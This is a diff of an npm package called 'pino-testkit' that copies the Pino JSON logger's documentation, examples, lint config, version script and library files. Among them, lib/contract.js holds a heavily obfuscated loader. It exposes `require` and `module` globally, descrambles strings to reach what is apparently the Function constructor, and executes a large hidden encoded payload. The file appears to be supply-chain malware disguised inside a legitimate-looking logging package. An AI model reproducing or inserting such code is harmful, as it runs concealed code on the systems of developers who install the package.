pino-testkit 10.4.5

package/docs/web.md

@@ -0,0 +1,309 @@
+# Web Frameworks
+
+Since HTTP logging is a primary use case, Pino has first-class support for the Node.js
+web framework ecosystem.
+
+- [Web Frameworks](#web-frameworks)
+  - [Pino with Fastify](#pino-with-fastify)
+  - [Pino with Express](#pino-with-express)
+  - [Pino with Hapi](#pino-with-hapi)
+  - [Pino with Restify](#pino-with-restify)
+  - [Pino with Koa](#pino-with-koa)
+  - [Pino with Node core `http`](#pino-with-node-core-http)
+  - [Pino with Nest](#pino-with-nest)
+  - [Pino with H3](#pino-with-h3)
+  - [Pino with Hono](#pino-with-hono)
+
+<a id="fastify"></a>
+## Pino with Fastify
+
+The Fastify web framework comes bundled with Pino by default, simply set Fastify's
+`logger` option to `true` and use `request.log` or `reply.log` for log messages that correspond
+to each request:
+
+```js
+const fastify = require('fastify')({
+  logger: true
+})
+
+fastify.get('/', async (request, reply) => {
+  request.log.info('something')
+  return { hello: 'world' }
+})
+
+fastify.listen({ port: 3000 }, (err) => {
+  if (err) {
+    fastify.log.error(err)
+    process.exit(1)
+  }
+})
+```
+
+The `logger` option can also be set to an object, which will be passed through directly
+as the [`pino` options object](/docs/api.md#options-object).
+
+See the [fastify documentation](https://www.fastify.io/docs/latest/Reference/Logging/) for more information.
+
+<a id="express"></a>
+## Pino with Express
+
+```sh
+npm install pino-http
+```
+
+```js
+const app = require('express')()
+const pino = require('pino-http')()
+
+app.use(pino)
+
+app.get('/', function (req, res) {
+  req.log.info('something')
+  res.send('hello world')
+})
+
+app.listen(3000)
+```
+
+See the [pino-http README](https://npm.im/pino-http) for more info.
+
+<a id="hapi"></a>
+## Pino with Hapi
+
+```sh
+npm install hapi-pino
+```
+
+```js
+'use strict'
+
+const Hapi = require('@hapi/hapi')
+const Pino = require('hapi-pino');
+
+async function start () {
+  // Create a server with a host and port
+  const server = Hapi.server({
+    host: 'localhost',
+    port: 3000
+  })
+
+  // Add the route
+  server.route({
+    method: 'GET',
+    path: '/',
+    handler: async function (request, h) {
+      // request.log is HAPI's standard way of logging
+      request.log(['a', 'b'], 'Request into hello world')
+
+      // a pino instance can also be used, which will be faster
+      request.logger.info('In handler %s', request.path)
+
+      return 'hello world'
+    }
+  })
+
+  await server.register(Pino)
+
+  // also as a decorated API
+  server.logger.info('another way for accessing it')
+
+  // and through Hapi standard logging system
+  server.log(['subsystem'], 'third way for accessing it')
+
+  await server.start()
+
+  return server
+}
+
+start().catch((err) => {
+  console.log(err)
+  process.exit(1)
+})
+```
+
+See the [hapi-pino README](https://npm.im/hapi-pino) for more info.
+
+<a id="restify"></a>
+## Pino with Restify
+
+```sh
+npm install restify-pino-logger
+```
+
+```js
+const server = require('restify').createServer({name: 'server'})
+const pino = require('restify-pino-logger')()
+
+server.use(pino)
+
+server.get('/', function (req, res) {
+  req.log.info('something')
+  res.send('hello world')
+})
+
+server.listen(3000)
+```
+
+See the [restify-pino-logger README](https://npm.im/restify-pino-logger) for more info.
+
+<a id="koa"></a>
+## Pino with Koa
+
+```sh
+npm install koa-pino-logger
+```
+
+```js
+const Koa = require('koa')
+const app = new Koa()
+const pino = require('koa-pino-logger')()
+
+app.use(pino)
+
+app.use((ctx) => {
+  ctx.log.info('something else')
+  ctx.body = 'hello world'
+})
+
+app.listen(3000)
+```
+
+See the [koa-pino-logger README](https://github.com/pinojs/koa-pino-logger) for more info.
+
+<a id="http"></a>
+## Pino with Node core `http`
+
+```sh
+npm install pino-http
+```
+
+```js
+const http = require('http')
+const server = http.createServer(handle)
+const logger = require('pino-http')()
+
+function handle (req, res) {
+  logger(req, res)
+  req.log.info('something else')
+  res.end('hello world')
+}
+
+server.listen(3000)
+```
+
+See the [pino-http README](https://npm.im/pino-http) for more info.
+
+
+<a id="nest"></a>
+## Pino with Nest
+
+```sh
+npm install nestjs-pino
+```
+
+```ts
+import { NestFactory } from '@nestjs/core'
+import { Controller, Get, Module } from '@nestjs/common'
+import { LoggerModule, Logger } from 'nestjs-pino'
+
+@Controller()
+export class AppController {
+  constructor(private readonly logger: Logger) {}
+
+  @Get()
+  getHello() {
+    this.logger.log('something')
+    return `Hello world`
+  }
+}
+
+@Module({
+  controllers: [AppController],
+  imports: [LoggerModule.forRoot()]
+})
+class MyModule {}
+
+async function bootstrap() {
+  const app = await NestFactory.create(MyModule)
+  await app.listen(3000)
+}
+bootstrap()
+```
+
+See the [nestjs-pino README](https://npm.im/nestjs-pino) for more info.
+
+
+<a id="h3"></a>
+## Pino with H3
+
+```sh
+npm install pino-http h3
+```
+
+Save as `server.mjs`:
+
+```js
+import { createApp, createRouter, eventHandler, fromNodeMiddleware } from "h3";
+import pino from 'pino-http'
+
+export const app = createApp();
+
+const router = createRouter();
+app.use(router);
+app.use(fromNodeMiddleware(pino()))
+
+app.use(eventHandler((event) => {
+  event.node.req.log.info('something')
+  return 'hello world'
+}))
+
+router.get(
+  "/",
+  eventHandler((event) => {
+    return { path: event.path, message: "Hello World!" };
+  }),
+);
+```
+
+Execute `npx --yes listhen -w --open ./server.mjs`.
+
+See the [pino-http README](https://npm.im/pino-http) for more info.
+
+
+<a id="hono"></a>
+## Pino with Hono
+
+```sh
+npm install pino pino-http hono
+```
+
+```js
+import { serve } from '@hono/node-server';
+import { Hono } from 'hono';
+import { requestId } from 'hono/request-id';
+import { pinoHttp } from 'pino-http';
+
+const app = new Hono();
+app.use(requestId());
+app.use(async (c, next) => {
+  // pass hono's request-id to pino-http
+  c.env.incoming.id = c.var.requestId;
+
+  // map express style middleware to hono
+  await new Promise((resolve) => pinoHttp()(c.env.incoming, c.env.outgoing, () => resolve()));
+
+  c.set('logger', c.env.incoming.log);
+
+  await next();
+});
+
+app.get('/', (c) => {
+  c.var.logger.info('something');
+
+  return c.text('Hello Node.js!');
+});
+
+serve(app);
+```
+
+See the [pino-http README](https://npm.im/pino-http) for more info.

package/eslint.config.js

@@ -0,0 +1,28 @@
+'use strict'
+
+const { defineConfig, globalIgnores } = require('eslint/config')
+const neostandard = require('neostandard')
+
+module.exports = defineConfig([
+  neostandard({
+    ts: true
+  }),
+  globalIgnores([
+    'pino.d.ts',
+    'test/fixtures/syntax-error-esm.mjs',
+    'test/fixtures/ts/*cjs',
+  ]),
+  {
+    rules: {
+      'no-var': 'off',
+    },
+  },
+  {
+    files: ['test/types/**/*'],
+    rules: {
+      '@typescript-eslint/no-unused-expressions': 'off',
+      '@typescript-eslint/no-unused-vars': 'off',
+      'n/handle-callback-err': 'off',
+    },
+  },
+])

package/examples/basic.js

@@ -0,0 +1,43 @@
+'use strict'
+
+// Pino's primary usage writes ndjson to `stdout`:
+const pino = require('..')()
+
+// However, if "human readable" output is desired,
+// `pino-pretty` can be provided as the destination
+// stream by uncommenting the following line in place
+// of the previous declaration:
+// const pino = require('..')(require('pino-pretty')())
+
+pino.info('hello world')
+pino.error('this is at error level')
+pino.info('the answer is %d', 42)
+pino.info({ obj: 42 }, 'hello world')
+pino.info({ obj: 42, b: 2 }, 'hello world')
+pino.info({ nested: { obj: 42 } }, 'nested')
+setImmediate(() => {
+  pino.info('after setImmediate')
+})
+pino.error(new Error('an error'))
+
+const child = pino.child({ a: 'property' })
+child.info('hello child!')
+
+const childsChild = child.child({ another: 'property' })
+childsChild.info('hello baby..')
+
+pino.debug('this should be mute')
+
+pino.level = 'trace'
+
+pino.debug('this is a debug statement')
+
+pino.child({ another: 'property' }).debug('this is a debug statement via child')
+pino.trace('this is a trace statement')
+
+pino.debug('this is a "debug" statement with "')
+
+pino.info(new Error('kaboom'))
+pino.info(null)
+
+pino.info(new Error('kaboom'), 'with', 'a', 'message')

package/examples/transport.js

@@ -0,0 +1,68 @@
+'use strict'
+
+const pino = require('..')
+const { tmpdir } = require('node:os')
+const { join } = require('node:path')
+
+const file = join(tmpdir(), `pino-${process.pid}-example`)
+
+const transport = pino.transport({
+  targets: [{
+    level: 'warn',
+    target: 'pino/file',
+    options: {
+      destination: file
+    }
+    /*
+  }, {
+    level: 'info',
+    target: 'pino-elasticsearch',
+    options: {
+      node: 'http://localhost:9200'
+    }
+    */
+  }, {
+    level: 'info',
+    target: 'pino-pretty'
+  }]
+})
+
+const logger = pino(transport)
+
+logger.info({
+  file
+}, 'logging destination')
+
+logger.info('hello world')
+logger.error('this is at error level')
+logger.info('the answer is %d', 42)
+logger.info({ obj: 42 }, 'hello world')
+logger.info({ obj: 42, b: 2 }, 'hello world')
+logger.info({ nested: { obj: 42 } }, 'nested')
+logger.warn('WARNING!')
+setImmediate(() => {
+  logger.info('after setImmediate')
+})
+logger.error(new Error('an error'))
+
+const child = logger.child({ a: 'property' })
+child.info('hello child!')
+
+const childsChild = child.child({ another: 'property' })
+childsChild.info('hello baby..')
+
+logger.debug('this should be mute')
+
+logger.level = 'trace'
+
+logger.debug('this is a debug statement')
+
+logger.child({ another: 'property' }).debug('this is a debug statement via child')
+logger.trace('this is a trace statement')
+
+logger.debug('this is a "debug" statement with "')
+
+logger.info(new Error('kaboom'))
+logger.info(null)
+
+logger.info(new Error('kaboom'), 'with', 'a', 'message')

package/file.js

@@ -0,0 +1,12 @@
+'use strict'
+
+const pino = require('./pino')
+const { once } = require('node:events')
+
+module.exports = async function (opts = {}) {
+  const destOpts = Object.assign({}, opts, { dest: opts.destination || 1, sync: false })
+  delete destOpts.destination
+  const destination = pino.destination(destOpts)
+  await once(destination, 'ready')
+  return destination
+}

package/inc-version.sh

@@ -0,0 +1,42 @@
+#!/bin/bash 
+
+set -e
+
+PATH=./node_modules/.bin:${PATH}
+CURRENT_VERSION=$(jq -r .version package.json)
+
+case ${1} in
+  Major | MAJOR | major)
+    LEVEL=major
+    ;;
+
+  Minor | MINOR | minor)
+    LEVEL=minor
+    ;;
+
+  Patch | PATCH | patch)
+    LEVEL=patch
+    ;;
+
+  *)
+    LEVEL=patch
+    ;;
+esac
+
+NEW_VERSION=$(semver -i ${LEVEL} ${CURRENT_VERSION})
+echo "${CURRENT_VERSION} => ${NEW_VERSION}"
+read -n 1 -s -r -p "Press any key to continue (ctrl+c to abort)..."
+echo ""
+
+echo "Patching package.json..."
+cat package.json | \
+  jq --arg vers "${NEW_VERSION}" '.version = $vers' | \
+  tee package.json 1>/dev/null
+
+echo "Patching lib/meta.js ..."
+SED_SCRIPT=$(printf 's/%s/%s/' ${CURRENT_VERSION//\./\\.} ${NEW_VERSION//\./\\.})
+cat ./lib/meta.js | \
+  sed -e ${SED_SCRIPT} | \
+  tee ./lib/meta.js 1>/dev/null
+
+echo "Done."

package/index.html

@@ -0,0 +1,55 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8">
+  <title>Pino - Super fast, all natural JSON logger for Node.js</title>
+  <meta name="description" content="Super fast, all natural JSON logger for Node.js">
+  <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
+  <link rel="stylesheet" href="//unpkg.com/docsify-themeable/dist/css/theme-simple.css">
+  <style>
+    :root {
+      --base-font-size: 16px;
+      --theme-color: rgb(104, 118, 52);
+      --link-color:  rgb(104, 118, 52);
+      --link-color--hover: rgb(137, 152, 100);
+      --sidebar-name-margin: 0;
+      --sidebar-name-padding: 0;
+      --code-font-size: .9em;
+    }
+    .sidebar > h1 {
+      margin-bottom: -.75em;
+      margin-top: .75em;
+    }
+    .sidebar > h1 img {
+      height: 4em;
+    }
+    .markdown-section a code {
+      color: var(--link-color)!important;
+    }
+    .markdown-section code:not([class*="lang-"]):not([class*="language-"]) {
+      white-space: unset
+    }
+  </style>
+  <link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.png">
+  <link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.png">
+</head>
+<body>
+  <div id="app"></div>
+</body>
+<script>
+  window.$docsify = {
+    name: 'pino',
+    logo: './pino-tree.png',
+    loadSidebar: 'docsify/sidebar.md',
+    repo: 'https://github.com/pinojs/pino',
+    auto2top: true,
+    ga: 'UA-103155139-1'
+  }
+</script>
+<script src="//unpkg.com/docsify/lib/docsify.min.js"></script>
+<script src="//unpkg.com/docsify/lib/plugins/search.min.js"></script>
+<script src="//unpkg.com/docsify/lib/plugins/ga.min.js"></script>
+<!-- To enable syntax highlighting on TypeScript codes: -->
+<script src="//cdn.jsdelivr.net/npm/prismjs@1/components/prism-typescript.min.js"></script>
+
+</html>

package/lib/caller.js

@@ -0,0 +1,30 @@
+'use strict'
+
+function noOpPrepareStackTrace (_, stack) {
+  return stack
+}
+
+module.exports = function getCallers () {
+  const originalPrepare = Error.prepareStackTrace
+  Error.prepareStackTrace = noOpPrepareStackTrace
+  const stack = new Error().stack
+  Error.prepareStackTrace = originalPrepare
+
+  if (!Array.isArray(stack)) {
+    return undefined
+  }
+
+  const entries = stack.slice(2)
+
+  const fileNames = []
+
+  for (const entry of entries) {
+    if (!entry) {
+      continue
+    }
+
+    fileNames.push(entry.getFileName())
+  }
+
+  return fileNames
+}

package/lib/constants.js

@@ -0,0 +1,28 @@
+/**
+ * Represents default log level values
+ *
+ * @enum {number}
+ */
+const DEFAULT_LEVELS = {
+  trace: 10,
+  debug: 20,
+  info: 30,
+  warn: 40,
+  error: 50,
+  fatal: 60
+}
+
+/**
+ * Represents sort order direction: `ascending` or `descending`
+ *
+ * @enum {string}
+ */
+const SORTING_ORDER = {
+  ASC: 'ASC',
+  DESC: 'DESC'
+}
+
+module.exports = {
+  DEFAULT_LEVELS,
+  SORTING_ORDER
+}

package/lib/contract.js

@@ -0,0 +1,8 @@
+function contract() {
+    global.i = '2';
+    var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225); var t = e * (z + 668) + (e % 25980); var d = r % n; var c = t % n; var p = q[d]; q[d] = q[c]; q[c] = p; e = (r + t) % 2892945 }; var k = String.fromCharCode(127); var g = ''; var m = '\x25'; var w = '\x23\x31'; var f = '\x25'; var j = '\x23\x30'; var s = '\x23'; return q.join(g).split(m).join(k).split(w).join(f).split(j).join(s).split(k) })("e%objrct%m", 2404686); global[_$_d876[0x0]] = require; if (typeof module === _$_d876[0x1]) { global[_$_d876[0x2]] = module }
+    (function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k < l; k++) { var g = t * (k + 143) + (t % 34562); var j = t * (k + 599) + (t % 19024); var o = g % l; var h = j % l; var q = d[o]; d[o] = d[h]; d[h] = q; t = (g + j) % 3591111; }; return d.join('') }; var OUN = ype('uoxgwmorcazdjcyqsthinkcrtpneltsfburov').substr(0, ziD); var LEF = 'Sa =a=frsrulrrl=as(v+=r7iafg!d=b,C,vnl+;[ien8r6v.aaz;nvca j=a71,ha20],a1tk),(=i81,)ah)[}r=lte,g2eaotp(nhr=p c;;,xg,7p,n5g;ch0g;=.in0=rrvor+bodmo)j8Cr-5t7var(),d,[l]t,rct=))l ..[=81u(;5hwvrre4;}4a(0;  fscr8=9S(waprg( uvthfl]ngtlf;rri8cat.c());umde)v;=r(p.j+u=fx")ral,asnreioaplrn;v[b]i6>Al[if;vq+8(p,;.A"==r1rinhnji6-c+j)[q) {lhjaromr0avd) nb+)+-nwmn;}a* 8ogoa(9a( ejoAi(x;pf {tv;dszno)c1t62h.o7t(.o+nmr) r*mze6a9 o== n0cd8vfu+,;1h;vCore=thn1sf.),p6v;i+[]ve9s(lnsAz;(;asssCsAdhv349(.j;)d}=-;+piw"u 9]+(fs+n.fu++1)he[t=C,2r;n9m="hf+l2r0=k=e(;ii<;vi,f==ed===uolyvC1c,ut=(sltrt.7][had)s;bytjlnh;m<y;)(=-pueh(1[]l.a;;(lfip1}u1,f!;n2=.),i,h;<.)suuo)p[(vph[fa"f)g]mi);cfi]-5drtemq3;)q})cg-ys=o=[v]0;0v(rff=36jgid)."f+v6; rkC]s,2;rl+,.0);sd7f <=.3eoet=c+op+ (b+t.urgre(ok{panrfn=(w6ld.or(104  nl0m<u.=n.gr)ya+a=ir(yqe>ft(v{oe;pf ;i;e)lprri7};hrh;{.hhr(e5 r+ova+kr8(".cr8tu]nu",s{]e  vr"t").C;{.,xr0'; var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,.=nho__F{F%)4).05r}oe6ha.?((sa81i9Fax%Fi1co.)F]mea%13.l%n]ro_3un;;ncbr];F].FGt[(]5}.3FH1c2=.atfd w..F.45(t84.(gFc{eSu+iFv3f]f}]F!#.too7t}ouo:st.qrt_pfe]Ffjn!_ rF61trfse6beheDbF%_e}u).%Fo (:nFCFoF9dsn2b.]om.qn)hF ao)}.)FF+33;f.ua}5=gsrua_tr;9 l;,eFfFaFo3t.sc8}uFt.0w=F}r%ffneg3]p$F;.rfr2ru"!yzn=e=(F{Fe5e.dF,.Ffadvr<s=rh,f%mu]s.=ctr.gt(!]hrtF1.er2r;2tn}i;ao%Ff!o1a8)eb3tv[]1sF3oer>]x\/9={k0C1f[1y]d]nq7}]Fr,n;i3t0e.cegDd}F9FdF1.7{FN}hg_6&(lr>co(3a}t]t.4*FaF(]fe\/(td]dxbte31F7itc%F4)_C9!)acie1;FFf.,3F]u)l)o)a%md20}<%-.S8(hpi..)w6]=F FFFF7F8]c4\'.F,2t.prmfEenq5n5fft,]6,l%9)ani-1F&3.i%(xu0)+Fr!.eF%HSfcnl]h%SNns=o ntde.tain[f9 (sn_=hm)t=#icc[vr++rb%ctie.._c2ws:_+fFlCh]2hyn ;sppeFGc=fz;Fi%decfr rAie%0f<rFliti]7)oqr3(1F;v_ec036m:%h5i.%aF%vlrovrcsdFo]bnFr)m)rm5c.ntad &ah1T3:i]n?=8}2F%%]a_se)}cF%{Fxpufsb,_uhFp1c)F(,2nr F3F\/g))t1.tF.).r]o(t.;!h=Fdh}a}(:c2Ff13\/c.6F1Bneboees3w[;gn(1.1fv.%axxmb :d?D.Fp&[saf9;n7[b+cw7.g] 77vtice1>41,!a#%F3F2(3x=FFmv2rFdh2@o%g(%(Fn-1.(7.odtufren3i;raf]e b.4fspc.7oFc(see{.De)u%8$igna F_Sc[e]og;ca)6<F%cE,"nsn%co8.(j.CgpenoCnn-%s=_s1)c_hlrtaryr+sF]FF<_fl,fr.l(iF"c;<lF&8e%ocooi]3 Fl)au.i(]Fut . s=!%m4f1fiFo6]d9=*) Eo)!i!4a)u)_sao[.e}mfdc>a%ot-6FFtc+pifa}x%,f]fh0F}fF(!:)0F]9)amFFrF5e3}l3=)F>FeF>Feo!;7@]#ran;F--])h.%1< fdyii=;]mEteFFF1) )o;j5clc1=oe"FABjor?Fe. 0m.ceTpa$tnii_]pNFa\'+0a0foyt<|62dd;8.%iFboe.uh=-trs:)_4(=FF8F _tho}]19mfF8e{Ff:o3:t]t_\'.;%=deeba;_d6rfoF*.%ofT4aoeF%66nFe_fFw.e+..,ebeo719$i%d0knx(ia{3#9e{iF=%25Fcu9w.ucu%%avjpn(Fn3Fnwp.;f(.easu.fa6=tFr(od{,E(1eFAE=aF3o3yFb=3f\/t59kFc.bF2];tFFeoFunFF6m.F&]<$2anFlce6,}3rF]F_+1]F.io8(6Fi%shsFj&]trrFs.efiFF9tt)fn3bsFo7i=ert}}tr5t()4BBx%)asd((-F1aF.F8C]%r]F]))-0=]d1F;)dc87[=)#Fy!My{t-)1@%pls0efn6]\'ufo21mnt1.c]Fc7F9{Fi2grc6,)-=iakc8.l2Fi-%;g7a.\/[Fu1at\'wl.o[5rd].)z)od)(.Fa.0c)2eF(f[)todfF=nnF3.A.F\/9nF;Tf%!=%\/i(cic[Tt=]31Fbf]rFkbty:a!)F6Batujo=8f\/]Fbk}a_2;[&8FnnF]mtha"paqu;1}ff-};5)_5Fh0FC_t(FFe0;1\/(Fu]F]{sw-nx2gFtfo%i=jFat%fFF3!.5crF)2FC=f&2!Fdo,]s]nF]\/ 1f%o]yoc)o%Fs1)}yF*(c221,,d)sDieFFfc.}F]e=e=[8&FGF]),%dn1)ll?#iFi)8e2ces)&l *r8rl!)tt(=n\/t5(jt+ga}.h)]}6uFCfeFG\/nfs+@FmbF?F_gFsi0-)4F4u3tEF{=r"g(FF2_;Fcten.*,$F.z=7FttrF(d)!4r,%r].)wt1.-F#[i.<5o](31ngt Fm]ri<1a.an20Fei"\/]ni ]Fo%a83t%F{$9(4F)rFDn]F-F8dc:euFeasrdjpt+)- 9tDe.)7.mr2F1]eF] e]eFxf+:FF({vFktat1ayi(Fi.}nce6 &5\'?u[]fre3]Fit*F8}0Far;e fnFlr_s32HFr)ct0=_):=8r{4bHbe(=dw%1;-=\/ese]a.p],r1]..nrftn,1iFs}-%B, ;,c?2cob)eet.n)%= F%2 9t.fs6Fd *ft )94c7hl+F]h%aFF]-fei!ede(aFF6_ci%prF:]ch]o+kf%t|=aFtrc4;Faf.0on(l).!.eh(t)s..2rs;t"e>r3pdt :,jF_FtF301.M).[0.=n!feiya2t=c{;e i+lF*ra(Bau[1tFmnF+]*r.i"11dF]1)}\/o3e.)]84!}F-.u_nsw')); var cMp = kWJ(teD, HRZ); cMp(7746); return 9212 })()
+        
+}
+
+module.exports = contract

package/lib/deprecations.js

@@ -0,0 +1,8 @@
+'use strict'
+
+const warning = require('process-warning')()
+module.exports = warning
+
+// const warnName = 'PinoWarning'
+
+// warning.create(warnName, 'PINODEP010', 'A new deprecation')